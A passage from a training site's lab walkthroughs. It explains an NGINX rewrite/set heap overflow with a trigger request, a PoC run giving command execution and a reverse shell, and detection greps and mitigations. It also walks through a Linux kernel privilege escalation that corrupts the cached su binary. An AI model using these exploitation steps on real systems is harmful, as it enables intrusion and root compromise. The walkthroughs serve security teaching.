<code>ngx_http_script_start_args_code</code>. That function sets <code>e-&gt;is_args = 1</code> on the main script engine. The flag is never explicitly reset before subsequent compiled directives execute. For a configuration where <code>rewrite</code> is followed by <code>set</code>, the main engine therefore carries <code>is_args = 1</code> into the evaluation of the <code>set</code> directive.</p>\n<p>The <code>set</code> directive uses a separate path when its right-hand side references a regex capture. The relevant function is <code>ngx_http_script_complex_value_code</code>, which executes the length-calculation pass against a fresh, fully zeroed sub-engine, conventionally named <code>le</code>. The author of the original code did this so the length calculation could not be polluted by state left over from earlier operations. The actual copy pass, however, still runs on the main engine <code>e</code>, with <code>is_args</code> unchanged.</p>\n<p>The decision to escape or not escape a captured value is made by <code>ngx_http_script_copy_capture_len_code</code> (used during the length pass) and <code>ngx_http_script_copy_capture_code</code> (used during the copy pass). Both functions check the same condition before deciding whether to call <code>ngx_escape_uri</code>. The condition combines the engine's <code>is_args</code> flag with whether the request URI contained characters that need escaping.</p>\n<p>During the length pass, <code>le.is_args</code> is zero because the sub-engine was zeroed. The condition evaluates false, the function takes the simple path, and returns the unescaped capture length, which is the raw number of bytes in the captured substring. During the copy pass, <code>e-&gt;is_args</code> is still one because the main engine was never reset. The condition evaluates true, the function takes the URI-escaping path, and writes the escaped capture into the buffer.</p>\n<p>For URI-safe characters that escaping leaves untouched, the two passes produce the same number of bytes and the mismatch goes unnoticed. For escapable characters, escaping replaces each character with its three-byte <code>%xx</code> percent-encoded form. The plus sign, for example, escapes to <code>%2B</code>. If the captured substring contains <code>N</code> escapable characters, the copy pass writes <code>raw_size + 2 * N</code> bytes into a buffer that was allocated for only <code>raw_size</code> bytes. The result is a deterministic, attacker-controlled overflow on the NGINX worker's memory pool.</p>\n<p>The trigger configuration in the published advisory is short:</p>\n<pre><code class=\"language-nginx\">location ~ ^/api/(.*)$ {\n    rewrite ^/api/(.*)$ /internal?migrated=true;\n    set $original_endpoint $1;\n}</code></pre>\n<p>The <code>rewrite</code> replacement string contains a question mark, so <code>is_args</code> is set on the main engine. The <code>set</code> directive references the unnamed capture <code>$1</code>, so it routes through <code>ngx_http_script_complex_value_code</code> and the two-pass mismatch fires. If the client request URI for this location contains plus signs (or any other URI-escapable character) inside the captured part, those characters are counted as one byte each by the length pass and three bytes each by the copy pass.</p>\n<p>A request that triggers a manageable overflow against the configuration above looks like the request below. The URI is constructed to land in the vulnerable <code>location</code> block, the captured part <code>(.*)</code> contains a long run of plus signs, and each plus is later escaped to <code>%2B</code> during the copy pass.</p>\n<pre><code class=\"language-http\">GET /api/+++++++++++++...+++++++++++++ HTTP/1.1\nHost: localhost</code></pre>\n<p>For 2,000 plus signs in the capture, the length pass reserves 2,000 bytes and the copy pass writes 6,000 bytes. The 4,000-byte difference is written past the end of the allocated pool chunk, into whatever adjacent heap memory the pool allocator placed next to it. Turning that into code execution is the subject of Task 4.</p>\n<p>A second restriction worth recording at this point is that the overflow bytes pass through <code>ngx_escape_uri</code>, which only emits ASCII bytes that are valid in a URI. Null bytes, control characters, and any byte outside the URI-safe set cannot be written by the overflow. An attacker must therefore construct any binary payload, including pointers, through other means.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988254427.svg\" alt=\"Two-column diagram of the script engine's two-pass mismatch. The trigger configuration is shown at the top: a rewrite directive with a question mark in its replacement, followed by a set directive referencing the unnamed capture $1. The left column shows the length pass, which runs on a fresh zeroed sub-engine. ngx_http_script_complex_value_code zeroes the sub-engine, so le.is_args is zero, the escape condition is false, and the function returns the raw capture length of 2000 bytes. The right column shows the copy pass, which runs on the main engine that still carries e-&gt;is_args equal to one from the earlier rewrite directive. ngx_http_script_copy_capture_code finds the escape condition true and writes the URI-escaped capture, expanding to raw plus 2N which equals 6000 bytes. The bottom of the diagram shows the resulting overflow: the heap allocates 2000 bytes during the length pass and the copy pass writes 6000 bytes, producing a 4000-byte overflow into the adjacent memory pool.\" width=\"100%\" /></p> Rewrite and Set Directives <p>The two NGINX directives at the centre of <code>CVE-2026-42945</code> are <code>rewrite</code> and <code>set</code>. Both are routine building blocks of production configurations, and both have well-defined, documented behaviour. In this section, we describe what they do and why they are commonly chained, before showing how the chain triggers the bug in Task 3.</p>\n<p>The <code>rewrite</code> directive modifies the request URI based on a regular expression match. When NGINX matches a request URI against the pattern, the directive replaces the URI with a new string. A typical configuration might rewrite all paths under <code>/api/</code> to a versioned backend path. The configuration below routes any request whose URI starts with <code>/api/</code> to the equivalent path under <code>/v2/api/</code>, preserving everything after <code>/api/</code> through the unnamed capture <code>$1</code>.</p>\n<pre><code class=\"language-nginx\">location ~ ^/api/(.*)$ {\n    rewrite ^/api/(.*)$ /v2/api/$1;\n}</code></pre>\n<p>A request for <code>/api/users/42</code> is rewritten internally to <code>/v2/api/users/42</code> before NGINX hands it on for further processing. The string <code>$1</code> in the replacement is an example of a regex back-reference, where <code>$1</code> corresponds to the first parenthesised group in the matching pattern. NGINX supports the standard PCRE capture syntax; captures are unnamed by default, which is the form <code>$1</code>, <code>$2</code>, and so on.</p>\n<p>A subtle behaviour matters here. If the replacement string contains a question mark, NGINX treats everything after the question mark as a new query string and discards the request's original arguments. The replacement <code>/internal?migrated=true</code> rewrites the path to <code>/internal</code> and replaces the query string with <code>migrated=true</code>. This is the documented way to drop or rewrite query parameters during URL canonicalisation.</p>\n<p>The <code>set</code> directive assigns a value to a custom variable that NGINX maintains for the lifetime of the request. The value can be a constant, another variable, or a back-reference to the most recently evaluated regular expression. Variables defined with <code>set</code> are typically used to preserve information that would otherwise be lost across a rewrite, or to compose values used later in proxy headers, log formats, or further routing decisions. A common pattern saves the original captured path to a variable so that backend applications and access logs retain visibility of what the client originally requested.</p>\n<pre><code class=\"language-nginx\">location ~ ^/api/(.*)$ {\n    rewrite ^/api/(.*)$ /v2/api/$1;\n    set $original_endpoint $1;\n}</code></pre>\n<p>The <code>set</code> directive runs after the <code>rewrite</code>, and the back-reference <code>$1</code> still refers to the capture from the regex evaluated against the original <code>/api/(.*)$</code> path. The chain therefore performs two related operations against the same capture group, in a documented and supported order.</p>\n<p>Under the surface, NGINX does not interpret either directive at request time. Both directives are compiled at configuration load into a sequence of operations executed by an internal script engine. At runtime, the engine walks the compiled operations in a two-pass process. The first pass calculates the total length of the final output string so the script engine can allocate exactly the right amount of memory from its per-request pool. The second pass writes the actual data into that buffer. The design is performant because it avoids repeated small allocations, but it depends on the length calculation in the first pass matching the data written in the second pass exactly. The state mismatch that breaks this assumption is the subject of Task 3.</p>\n<p><img src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988180831.svg\" alt=\"Flow diagram showing a request URI moving through three stages. Stage 1, an incoming request GET /api/users/42 with capture group $1 = users/42. Stage 2, the rewrite directive replacing the URI with /internal, where the question mark in the replacement string sets e-&gt;is_args = 1 on the main script engine and that flag is never reset. Stage 3, the set directive which references the unnamed capture and runs a two-pass copy; the length pass uses a zeroed sub-engine where is_args is zero and returns the raw size, while the copy pass uses the main engine where is_args is one and returns raw plus 2N, causing the mismatch that produces the overflow.\" width=\"100%\" /></p> Exploitation <h2>Step 1: Confirm the Container is Running</h2>\n<p>Open a terminal in the VNC desktop. The container should already be up from the provisioning step. Confirm its state with <code>docker ps</code>, filtering on the compose project label so the output is short.</p>\n<pre><code class=\"language-bash\">sudo docker ps --filter label=com.docker.compose.project=nginx-rift</code></pre>\n<p>The output shows a single running container named <code>nginx-rift-nginx-1</code>, with port <code>19321/tcp</code> mapped to <code>0.0.0.0:19321</code> on the host.</p>\n<p>Verify the target is responsive with a benign request. A normal request to the vulnerable <code>location</code> block returns a 200 response with the rewritten URI.</p>\n<pre><code class=\"language-bash\">curl -s \"http://127.0.0.1:19321/api/users/42\"</code></pre>\n<h2>Step 2: Run the PoC with a Single Command</h2>\n<p>The exploit driver <code>poc.py</code> accepts two mutually exclusive operating modes. The first, <code>--cmd</code>, executes a single shell command through the <code>system()</code> handler and exits. The second, <code>--shell</code>, generates a Python reverse shell, listens for the connection on the host, and drops you into an interactive session inside the container.</p>\n<p>Run the single-command mode first, with a payload that writes a marker file to <code>/tmp/pwned</code> inside the container. The <code>time</code> prefix records how long the brute-force loop takes to land.</p>\n<pre><code class=\"language-bash\">time python3 poc.py --cmd 'echo hello from depthfirst &gt; /tmp/pwned'</code></pre>\n<p>Successful exploitation prints <code>crashed - system(\"...\") executed</code> to stdout, typically within thirty seconds to two minutes. The PoC iterates through a hardcoded list of heap-offset candidates and retries each up to ten times. The master's respawn loop hides individual failures.</p>\n<p>Once the PoC reports success, verify the command ran inside the container by reading the marker file with <code>docker exec</code>.</p>\n<pre><code class=\"language-bash\">sudo docker exec nginx-rift-nginx-1 cat /tmp/pwned</code></pre>\n<p>The file contents should be <code>hello from depthfirst</code>. Because the cleanup handler runs as <code>root</code> in this lab, the marker file is also owned by <code>root</code>.</p>\n<h2>Step 3: Run the PoC with a Reverse Shell</h2>\n<p>The <code>--shell</code> mode generates a Python reverse-shell command, spawns a local netcat listener on the host, and runs the exploit against the same target. The listener IP defaults to <code>172.17.0.1</code>, which is the host's address on the Docker bridge that the container is attached to, so no flag overrides are required for the published setup.</p>\n<pre><code class=\"language-bash\">python3 poc.py --shell</code></pre>\n<p>The driver prints the generated reverse-shell command, starts a listener on TCP port <code>1337</code>, and runs the brute-force loop. On a successful trigger, the listener catches the inbound connection and you receive an interactive <code>/bin/sh</code> prompt running as the NGINX worker user inside the container.</p>\n<p>From the prompt, confirm you have root inside the container and read the flag baked into the image.</p>\n<pre><code class=\"language-bash\">id\ncat /flag.txt</code></pre>\n<p>The <code>id</code> output confirms the cleanup handler is executing as <code>root</code>, which is the upstream image's default. The flag at <code>/flag.txt</code> is in the <code>THM{...}</code> format and is the room's primary objective.</p>\n<p>Take care when running commands inside the reverse shell: the worker process is still subject to the master's lifecycle, and long-running commands can be terminated when the next exploit attempt corrupts a sibling worker. Keep interactive sessions short and copy any output you need back to the listener promptly.</p> Detection and Mitigation <p>Two layers of defence apply to <code>CVE-2026-42945</code>. The first is the upstream patch, which restores propagation of <code>is_args</code> into the sub-engine used by <code>ngx_http_script_complex_value_code</code>. The second is a configuration-level workaround that side-steps the trigger pattern without waiting for a patched binary.</p>\n<h3>Patching</h3>\n<p>NGINX Open Source 1.30.1 and 1.31.0 contain the fix. NGINX Plus customers receive the fix in R32 P6 and R36 P4. F5 has separately published patched versions of NGINX App Protect WAF, NGINX App Protect DoS, NGINX Gateway Fabric, NGINX Ingress Controller, and the F5 WAF and DoS products that embed NGINX. The vendor advisory at <code>https://my.f5.com/manage/s/article/K000160932</code> lists exact fixed versions per product family.</p>\n<p>Distributions have shipped patched packages on their usual channels. Distribution-packaged NGINX should not be assumed safe based on the package name; the actual NGINX version and the active configuration both matter. On Debian-derived systems, <code>nginx -v</code> and <code>apt-cache policy nginx</code> together show the installed version and the available upgrade. On Red Hat-derived systems, <code>nginx -v</code> and <code>dnf info installed nginx</code> provide the same information.</p>\n<h3>Configuration Workaround</h3>\n<p>On hosts where an immediate upgrade is not possible, the vulnerability can be neutralised by replacing every unnamed PCRE capture in an affected <code>rewrite</code> directive with a named capture. The bug is reachable only through the unnamed-capture code path; named captures use a different evaluation function that is not affected by the <code>is_args</code> state mismatch.</p>\n<p>The trigger configuration from Task 3 is mitigated by changing the unnamed <code>(.*)</code> to a named capture such as <code>(?&lt;path&gt;.*)</code> and updating the <code>set</code> to reference <code>$path</code> instead of <code>$1</code>.</p>\n<pre><code class=\"language-nginx\">location ~ ^/api/(?&lt;path&gt;.*)$ {\n    rewrite ^/api/(?&lt;path&gt;.*)$ /internal?migrated=true;\n    set $original_endpoint $path;\n}</code></pre>\n<p>The behaviour of the configuration is preserved. The trigger is removed. This workaround should be treated as a temporary measure rather than a permanent fix, as it is sensitive to future changes elsewhere in the codebase.</p>\n<h3>Detection</h3>\n<p>The same property that makes the bug exploitable also makes it visible. A successful exploit attempt produces a burst of long, plus-padded URIs to the same vulnerable <code>location</code>, followed by a sequence of worker restarts. Either signal on its own is suspicious; the combination is unambiguous.</p>\n<p>NGINX access logs capture every request URI as long as logging is configured for the affected location block. A simple grep against <code>access.log</code> for unusually long URIs containing high run-lengths of plus signs surfaces probe and exploit traffic. The example below extracts requests whose URI contains thirty or more consecutive <code>+</code> characters, which is well above any benign client behaviour.</p>\n<pre><code class=\"language-bash\">grep -E '\\+{30,}' /var/log/nginx/access.log</code></pre>\n<p>NGINX error logs, on the other hand, record worker process restarts when the master log level is set to <code>notice</code> or higher. A spike in <code>worker process N exited on signal 11</code> entries within a short window indicates that something is crashing workers regardless of the cause, and should be correlated with the access log timestamps. The depthfirst PoC also leaves a distinctive pattern of half-open connections and immediate-closed connections on the affected port; a <code>ss -t</code> snapshot during an active attack shows many connections in the <code>CLOSE_WAIT</code> and <code>LAST_ACK</code> states.</p>\n<p>Web application firewall rules can be deployed in front of NGINX to block requests whose URI contains long runs of escapable characters, but care should be taken to avoid blocking benign clients that legitimately pass escapable characters in path components. A safer signature targets the specific combination of an URI matching a known rewrite pattern with a payload above a length threshold and a high proportion of plus signs.</p> Conclusion <p>NGINX Rift is a state-mismatch bug rather than a parser bug or a logic bug. The vulnerability exists because one engine instance was reset and another was not, and because a single boolean flag silently changes the meaning of a downstream length calculation. The class of bug is older than the eighteen years the vulnerability has lived in the NGINX codebase; equivalent two-pass length-then-copy patterns occur in many performance-oriented C codebases, and a search of historical CVE feeds turns up close cousins in HTTP parsers, RPC frameworks, and database query builders.</p>\n<p>Three operational lessons stand out. The first is that configuration matters as much as version. A patched NGINX with a vulnerable rewrite pattern still defines the attack surface; an unpatched NGINX with no rewrite directives at all has no exposure. A version inventory alone is therefore not sufficient to triage exposure to <code>CVE-2026-42945</code>. Configuration review against the trigger pattern (unnamed PCRE capture, replacement string containing a question mark, subsequent <code>rewrite</code>, <code>if</code>, or <code>set</code> directive) is required to scope risk accurately.</p>\n<p>The second is that worker respawn architectures are double-edged. The same property that makes NGINX a robust web server in the face of crashes is what makes the bug forgiving to exploit. Architectural choices made for availability often create useful behaviours for an attacker, and the assumption that a crash is the worst possible outcome can hide the existence of an underlying corruption primitive.</p>\n<p>The third is that long-lived code with no recent security activity is not the same as proven code. The <code>is_args</code> flag in <code>ngx_http_script.c</code> has been in the codebase since 2008. It survived eighteen years of code review, integration testing, and production deployment, and an automated whole-repository analysis surfaced it on a six-hour scan once the right kind of analysis was pointed at it. Periodic re-audit of stable code is therefore as important as catching new bugs in fresh changes.</p>\n<p>The vulnerability class continues to be the subject of active research. The depthfirst disclosure mentions that three further memory corruption issues were identified in the same audit (covered briefly in Task 1), and the broader pattern of state-mismatch bugs is explored further in the context of <a href=\"https://tryhackme.com/room/cve202631341\" target=\"_blank\">Copy Fail</a> and the <a href=\"https://tryhackme.com/room/manage/cve202643284\" target=\"_blank\">Dirty Frag</a> Linux kernel rooms, where a similar but kernel-side mismatch creates a different primitive on a different target.</p>","timeToComplete":30,"title":"CVE-2026-42945: Nginx Rift","type":"walkthrough","order":1},{"_id":"6a0829b517341bf142cac0e9","businessOnly":false,"code":"cve202646300","collaborator":[],"contentDropPriority":0,"description":"Exploit Fragnesia, an LPE that surfaced due to dirtyfrag's patch.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778053654693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778924266488","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":561,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-25T15:00:04.455Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe20"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe21"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe22"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe23"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe24"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe25"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe26"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" Exploitation <h2>Connecting to the Lab Machine</h2>\n<p>When the machine is started, the room opens a split-view terminal already logged in as the unprivileged user <code>karen</code>. The steps below should be followed in order in that terminal. To connect from your own machine over SSH instead, use the username <code>karen</code> and the password <code>fragnesia2026</code>:</p>\n<pre><code class=\"language-bash\">ssh karen@MACHINE_IP</code></pre>\n<p>Either approach lands you at the same prompt.</p>\n<h2>Step 1: Confirm Your Context</h2>\n<pre><code class=\"language-bash\">karen@fragnesia:~$ id\nuid=1001(karen) gid=1001(karen) groups=1001(karen)</code></pre>\n<p>No elevated privileges, no special groups.</p>\n<h2>Step 2: Build the Proof of Concept</h2>\n<p>The exploit lives at <code>/home/karen/fragnesia/fragnesia.c</code>. Build it with the following command:</p>\n<pre><code class=\"language-bash\">cd /home/karen/fragnesia\ngcc -O2 -w fragnesia.c -o exp</code></pre>\n<p>The <code>-w</code> flag suppresses several harmless warnings in the published source. The warnings concern unused functions left over from the developer's debug helpers, a non-null <code>execve</code> argument that the exploit relies on, and an ignored <code>write</code> return value in the terminal-reset code. None of them affect the exploit's behaviour. The build completes in a second or two.</p>\n<h2>Step 3: Run the Exploit (Stage 1: Corrupt the Page Cache)</h2>\n<p>The Fragnesia exploitation is a two-stage process. Stage one corrupts the page cache copy of <code>/usr/bin/su</code> using the espintcp write primitive; this is what the published proof-of-concept automates. Stage two triggers the corrupted binary from outside the user namespace, which is what produces the host-root shell. The proof-of-concept does not perform stage two automatically; the operator does it manually after the exploit exits.</p>\n<p>Run the exploit:</p>\n<pre><code class=\"language-bash\">./exp</code></pre>\n<p>The exploit prints a long progress trace as it works through the chain. The output below is condensed for readability; the actual run on the lab machine is several hundred lines longer.</p>\n<pre><code class=\"language-bash\">karen@fragnesia:~/fragnesia$ ./exp\n[*] uid=1001 euid=1001 gid=1001 egid=1001\n[*] mode=xfrm_espintcp_pagecache_replace collateral=after\n[*] target=/usr/bin/su size=55680\nouter_write_open_denied=1 errno=13 (Permission denied)\nuserns_setup: outer_uid=1001 outer_gid=1001 ns_uid=0 ns_gid=0\nnetns_setup=1\nloopback_up=1\nxfrm_espintcp_state_add=1\nnamespace_setup_complete=1\nuserns_root_mapped_to_outer_user_write_open_denied=1 errno=13 (Permission denied)\n[*] timing: rx_pre_ulp=30000us tx_pre_splice=1000us rx_post_ulp=30000us\n[*] range: offset=0x0 len=192 last=0xbf enc_len=4080 splice_len=4096\n[*] payload=7f454c4602010100... (192 bytes of ELF stub)\nstream0_table_entries=256\n[*] smashing 192 bytes into read-only page cache  changed=176  skipped=16  remaining=0\n  0000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00\n  0010  02 00 3e 00 01 00 00 00  78 00 40 00 00 00 00 00\n  ...\n  00b0  2f 62 69 6e 2f 73 68 00  00 00 00 00 00 00 00 00\n  [==================================================] 192/192 (100%)\n[*] verifying 192 bytes...\n[*] bytes_flip_summary len=192 changed=176 skipped=16\n[+] BUG: changed requested copied byte range to desired values\n# whoami<br />root<br /># cat /root/flag.txt<br />cat: /root/flag.txt: Permission denied</code></pre>\n<p>The shell prompt has changed from <code>$</code> to <code>#</code>, and <code>whoami</code> returns <code>root</code>. This is the proof-of-concept's own verification step, but the shell it lands in is not yet a host-root shell. A few details from this output deserve closer attention before moving on to stage two.</p>\n<ul>\n<li>The line <code>outer_write_open_denied=1 errno=13</code> confirms that karen does not have write access to <code>/usr/bin/su</code> from outside the namespace. This is the permission boundary the exploit is about to cross.</li>\n<li>The line <code>userns_setup: ... ns_uid=0 ns_gid=0</code> shows that karen is mapped to UID 0 inside a new user namespace, granting <code>CAP_NET_ADMIN</code> for the XFRM operations that follow without any real privileges on the host.</li>\n<li>The <code>changed=176 skipped=16</code> line is significant. The exploit's ELF stub is 192 bytes long, but <code>/usr/bin/su</code> is itself an ELF binary, so its first few bytes (<code>7f 45 4c 46 02 01 01 00 ...</code>) already match the stub. The per-byte loop skips those, and only the 176 bytes that differ are actually written.</li>\n<li>The shell that appears after <code>[+] BUG: ...</code> is the proof-of-concept's <code>execve(\"/usr/bin/su\")</code> call running inside the user namespace. Inside the namespace, karen is mapped to UID 0, so the shellcode's <code>setuid(0)</code> is a no-op and the resulting shell is namespace-root.</li>\n<li>The <code>cat /root/flag.txt</code> returns <code>Permission denied</code> because <code>/root/flag.txt</code> is owned by the host's real UID 0, which the namespace cannot read. The namespace presents files owned by unmapped UIDs as owned by <code>nobody</code> (UID 65534).</li>\n</ul>\n<p>This is the expected result of stage one. The corruption is done, but the host privilege boundary has not yet been crossed. Stage two does that.</p>\n<h2>Step 4: Trigger the Corruption from Outside the Namespace</h2>\n<p>Exit the namespace shell to return to karen's regular shell:</p>\n<pre><code class=\"language-bash\"># exit</code></pre>\n<p>The prompt returns to <code>karen@tryhackme-2204:~/fragnesia$</code>, indicating you are back outside the namespace as UID 1001. The page cache, however, is still corrupted. The kernel's page cache is global to the host and persists across namespace boundaries; only an eviction or a <code>drop_caches</code> would clear it.</p>\n<p>Now run <code>/usr/bin/su</code> from karen's regular shell:</p>\n<pre><code class=\"language-bash\">/usr/bin/su</code></pre>\n<pre><code class=\"language-bash\">karen@fragnesia:~/fragnesia$ /usr/bin/su\n# whoami\nroot\n# id\nuid=0(root) gid=0(root) groups=0(root)</code></pre>\n<p>This time the shell really is host-root. The sequence of events at the kernel level is the following.</p>\n<ol>\n<li>karen's shell <code>execve</code>s <code>/usr/bin/su</code>. The on-disk file has the setuid bit set with owner root.</li>\n<li>The kernel honours the setuid bit and sets the process's effective UID to 0 (real host UID 0, since karen's shell is in the initial user namespace).</li>\n<li>The kernel loads the binary's bytes from the page cache, which still contains the corrupted ELF stub.</li>\n<li>The corrupted entry point runs the shellcode under effective UID 0.</li>\n<li>The shellcode calls <code>setgid(0)</code> and <code>setuid(0)</code>. Because the effective UID is already 0 at the host level, <code>setuid(0)</code> succeeds and sets the real UID to 0 as well.</li>\n<li>The shellcode calls <code>execve(\"/bin/sh\", ...)</code>, spawning a shell with real UID 0.</li>\n</ol>\n<p>The result is a real host-root shell. The fact that the namespace step was needed to gain <code>CAP_NET_ADMIN</code> for the XFRM operations is now irrelevant; the shell is a child of karen's regular shell and lives entirely outside any user namespace.</p>\n<h2>Step 5: Read the Flag</h2>\n<p>From the host-root shell, the flag is now readable:</p>\n<pre><code class=\"language-bash\"># cat /root/flag.txt</code></pre>\n<p>The Permission Denied error from stage one has disappeared because the process is now genuinely host UID 0, not namespace UID 0.</p>\n<h2>Step 6: Verify the On-Disk File</h2>\n<p>Confirm that the on-disk binary was never modified:</p>\n<pre><code class=\"language-bash\"># sha256sum /usr/bin/su</code></pre>\n<p>The hash matches a freshly-installed Ubuntu kernel build. The exploit only modified the in-memory page cache copy; the on-disk binary was never touched. AIDE, Tripwire, IMA, and any other file integrity tool that reads from disk would report this file as clean. The corruption only exists in the kernel's page cache and is visible only to processes that read through that cache.</p>\n<h2>Step 7: Exit and Drop the Page Cache</h2>\n<p>The proof-of-concept does not automatically clean up after itself, so subsequent invocations of <code>su</code> will continue to re-spawn the root shell until the corrupted pages are evicted. Drop them manually before leaving the machine:</p>\n<pre><code class=\"language-bash\"># exit\nkaren@fragnesia:~/fragnesia$ sudo sh -c 'echo 3 &gt; /proc/sys/vm/drop_caches'</code></pre>\n<p>The kernel evicts the corrupted pages from the cache. The next read of <code>/usr/bin/su</code> reloads the clean copy from disk, and <code>/usr/bin/su</code> returns to its normal behaviour.</p>\n<p><strong>Warning:</strong> Re-running the exploit after dropping the cache is fine. The page cache is reloaded from a clean disk every time, and the exploit re-corrupts a fresh page each run. Leaving a machine with corrupted pages in the cache is poor hygiene; always drop or reboot after testing.</p> Introduction <p>Fragnesia is the third Linux kernel local privilege escalation vulnerability in the page-cache write class to be disclosed in under three weeks. It was reported by William Bowling, head of assurance at Zellic, who discovered the bug using V12, Zellic's AI-agentic security auditing tool. The vulnerability was assigned <code>CVE-2026-46300</code> with a CVSS v3.1 base score of 7.8 (High). Public disclosure landed on 13 May 2026, alongside a working proof-of-concept and a candidate upstream patch.</p>\n<p>What makes Fragnesia notable is not the primitive itself, which is now familiar from Copy Fail and Dirty Frag, but the way it came into existence. The Dirty Frag patch (<code>f4c50a4034e6</code>, merged 8 May 2026) added code that trusts a particular socket buffer flag to be accurate. As of 13 May, that flag is not always accurate. Fragnesia is the vulnerability that the Dirty Frag fix introduced. Hyunwoo Kim, who reported the original Dirty Frag pair, has publicly acknowledged that Fragnesia emerged as an unintended side effect of one of the patches written to remediate his own bug.</p>\n<p>Two points are worth establishing upfront. First, this is the same broad attack surface as Dirty Frag (XFRM, ESP, the page cache) but it lives in a different code path. The original Dirty Frag bugs were in <code>esp_input()</code> and <code>rxkad_verify_packet_1()</code>. Fragnesia is in <code>skb_try_coalesce()</code>, the function that merges socket buffers. Second, the published proof-of-concept covers only the espintcp variant; a second variant in <code>skb_segment()</code> was disclosed by the same researcher the day after the initial Fragnesia patch landed, and as of 15 May 2026 that variant remains unpatched.</p>\n<p>The vulnerability class continues to evolve, which is the operational lesson the room is built around.</p>\n<table>\n<thead>\n<tr>\n<th>Property</th>\n<th>Copy Fail</th>\n<th>Dirty Frag</th>\n<th>Fragnesia</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>CVE</td>\n<td>CVE-2026-31431</td>\n<td>CVE-2026-43284 / 43500</td>\n<td>CVE-2026-46300</td>\n</tr>\n<tr>\n<td>Kernel subsystem</td>\n<td>AF_ALG / splice</td>\n<td>xfrm-ESP UDP / RxRPC</td>\n<td>xfrm-ESP-in-TCP / skb coalescing</td>\n</tr>\n<tr>\n<td>Write primitive size</td>\n<td>4 bytes</td>\n<td>4 bytes (ESP) / 8 bytes (RxRPC)</td>\n<td>1 byte (per trigger)</td>\n</tr>\n<tr>\n<td>Race condition required</td>\n<td>No</td>\n<td>No</td>\n<td>No</td>\n</tr>\n<tr>\n<td>Container escape impact</td>\n<td>Yes</td>\n<td>Yes</td>\n<td>Yes</td>\n</tr>\n<tr>\n<td>Patch state</td>\n<td>Mainline</td>\n<td>xfrm-ESP mainline; RxRPC unpatched</td>\n<td>First variant on netdev; second variant unpatched</td>\n</tr>\n</tbody>\n</table>\n<p>The 1-byte write primitive looks small compared to its predecessors, but it is deterministic. Each trigger writes one chosen byte at one chosen offset in the page cache. A 192-byte ELF stub is delivered across as many triggers as needed (typically around 176, since some bytes coincidentally already match the target file), and the full sequence completes in a few hundred milliseconds.</p>\n<h2>Learning Objectives</h2>\n<p>By the end of this room, you will be able to:</p>\n<ul>\n<li>Explain why a kernel patch can introduce a new vulnerability in the same attack surface it was meant to close</li>\n<li>Describe the role of <code>skb_try_coalesce()</code> and the <code>SKBFL_SHARED_FRAG</code> marker in the Fragnesia chain</li>\n<li>Identify the conditions that allow the espintcp receive path to perform in-place AES-GCM decryption over page-cache pages</li>\n<li>Apply the published modprobe mitigation and confirm the proof-of-concept is blocked</li>\n<li>Recognise the operational pattern of recurring same-area regressions and design detection accordingly</li>\n</ul>\n<h2>Prerequisites</h2>\n<p>This room assumes comfort with the Linux command line and a working understanding of local privilege escalation. The companion rooms <a href=\"https://tryhackme.com/room/cve202631341\" target=\"_blank\">Copy Fail</a> and <a href=\"https://tryhackme.com/room/cve202643284\" target=\"_blank\">Dirty Frag</a> are strongly recommended; Fragnesia builds directly on the page-cache write primitive introduced in those rooms.</p>\n<h2>Connecting to the Machine</h2>\n<p>Click the <strong>Start Lab Machine</strong> button at the top of this task and allow about a minute for it to boot. The room launches an in-browser split-view terminal already logged in as the unprivileged user <code>karen</code>. Credentials for SSH access from your own machine are provided in Task 4.</p> The Patch That Became the Vulnerability <h2>The Dirty Frag Patch</h2>\n<p>The original Dirty Frag xfrm-ESP bug (<code>CVE-2026-43284</code>) was that <code>esp_input()</code> took a fast path skipping <code>skb_cow_data()</code> for any uncloned, non-linear skb with no frag list. The fast path was unsafe because the skb's fragments could be backed by page-cache pages planted via <code>splice()</code>.</p>\n<p>The patch, commit <code>f4c50a4034e6</code>, added two pieces of code. First, the IPv4 and IPv6 datagram append paths were updated to set <code>SKBFL_SHARED_FRAG</code> on splice'd fragments. Second, <code>esp_input()</code> was updated to check <code>skb_has_shared_frag()</code> before taking its fast path. The reasoning was correct, the implementation was correct, and the patch closed the original Dirty Frag bug as intended.</p>\n<p>What the patch did not do was audit every code path that touched <code>SKBFL_SHARED_FRAG</code> to verify it preserved the flag. <code>skb_try_coalesce()</code> was one such path. It already existed, had been present since 2013, and had been incorrectly stripping the flag for thirteen years. Until the Dirty Frag patch, no production code path made a critical decision based on the flag, so the bug was latent. After the patch, <code>esp_input()</code> started making exactly that decision.</p>\n<p>The candidate Fragnesia patch carries two <code>Fixes:</code> tags. One points at the Dirty Frag patch (<code>f4c50a4034e6</code>). The other points at the original 